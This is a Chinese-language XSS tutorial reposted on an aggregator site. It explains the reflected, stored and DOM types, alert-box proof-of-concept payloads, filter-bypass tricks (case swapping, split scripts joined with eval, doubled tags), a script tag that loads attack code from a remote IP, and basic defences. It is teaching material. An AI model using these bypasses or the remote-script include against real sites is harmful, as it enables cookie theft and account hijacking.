XSS专题

Posted 兔子长虎牙

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS专题相关的知识,希望对你有一定的参考价值。

一、介绍

XSS(Cross-site Scripting,跨站脚本攻击),Owasp Top 10  2017中排名第7。主要基于JS完成恶意攻击行为。

原因:通过将精心构造的代码注入网页中,并由浏览器运行这段代码,达到攻击效果。XSS攻击的对象是用户和用户的浏览器(前端攻击)。

主要原因是没有对攻击者的输入进行严格的过滤,微博、留言板、聊天室等收集用户信息的地方都有可能被注入XSS代码。该漏洞存在于服务器中,但是执行环境在客户端浏览器,属于被动攻击。

主要危害:盗取用户账号;窃取cookie资料,冒充用户身份进入网站;劫持用户会话,执行任意操作;刷流量,弹窗广告;传播蠕虫病毒等。

主要的角色:攻击者、浏览器(与浏览器类型、不同版本有关)、受害者(用户)。

1.攻击者将恶意代码注入到服务器,用户访问该服务器网页。

2.服务器将含有恶意代码的网页响应给客户端。

3.在客户端触发恶意JS代码并执行。

4.用户被攻击。

Poc:XSS的漏洞用一段代码,验证漏洞的存在,这样的代码叫Poc(Proof of concept概念验证)。

EXP:漏洞的完整利用工具。

shellcode:利用漏洞时执行的代码。

payload:攻击载荷。在sqlmap里是攻击模板;msf里边同shellcode,建立与目标的连接。

二、验证漏洞存在的Poc

<script>alert(/xss/)</script>                  弹窗(常用)

<script>confirm('xss')</script>              弹出确认框   

<script>prompt('xss')</script>               弹出输入框

当在浏览器上输入以上内容后,如果有相应的弹窗,代表浏览器可解析代码,即存在XSS漏洞。于是便可以提交任意恶意JS代码。

三、XSS漏洞分类

1.反射型XSS

代码存在于web应用的参数(变量)当中。多发于搜索框。

2.储存型XSS

代码写进数据库或文件等可以永久保存的介质中。可持久攻击(每次点开页面就执行)。多发于留言板。

3.DOM型XSS

修改受害者浏览器页面的DOM树而执行(只要修改DOM树,浏览器就会重新渲染页面),并不会传到服务器上,只在浏览器上执行,因此比较难以检测。

四、XSS构造

1.利用<>构造HTML标签/<script>标签。

2.伪协议

javascript:    +js代码

3.产生自己的事件

事件:如鼠标移动、键盘输入等;JS可对这些事件进行响应,通过事件触发代码。

windows 事件           对windows对象

Form事件                 html表单内的动作

keyboard事件           键盘按键

Mouse事件               鼠标或类似动作

Media事件                多媒体触发的事件

五、XSS变形(绕过过滤)

1.大小写转换。

2.引号的使用。应对某些过滤函数。

3.左斜线(/)代替空格。

4.利用Tab或回车符。把一行隔断开。

5.对标签属性值进行编码。

6.拆分跨站。

<script>z='alert'</script> 

<script>z=z+'(/xss/)'</script> 

<script>eval(z)</script> 

以上上三代码在执行时合并成一行,即:<script>alert(/xss/)</script> 

7.双写绕过。

<scr<script> ipt>

六、XSS防御

1.使用XSS Filter(XSS过滤器),过滤客户端提交的有害信息。

(1)输入过滤:

输入是否仅包含合法字符。

输入字符串是否超过最大长度限制。

输入如果为数字,数字是否在指定的范围。

输入是否符合特殊的格式要求,如E-mail地址、IP地址等。

(2)输出编码

(3)黑白名单

七、远程调用shellcode

将JS代码单独存放在一个JS文件中(可以是互联网上任意一台主机地址),然后通过http协议远程加载该脚本。

例:<script src="http://172.168.111.132/XSS-text/XSS.js"></script>

八、终极代码:测试所有的过滤

<script script " 'OOnn>

以上是关于XSS专题的主要内容,如果未能解决你的问题,请参考以下文章

JVM技术专题Thread的stackSize与-Xss参数的区别「分析篇」

无相劫指:Web安全之其他漏洞专题二-第八天

XSS事件

Java专栏

最新的黑客技术:详解XSS跨站脚本攻击

DEDECMS专题模板怎么做啊?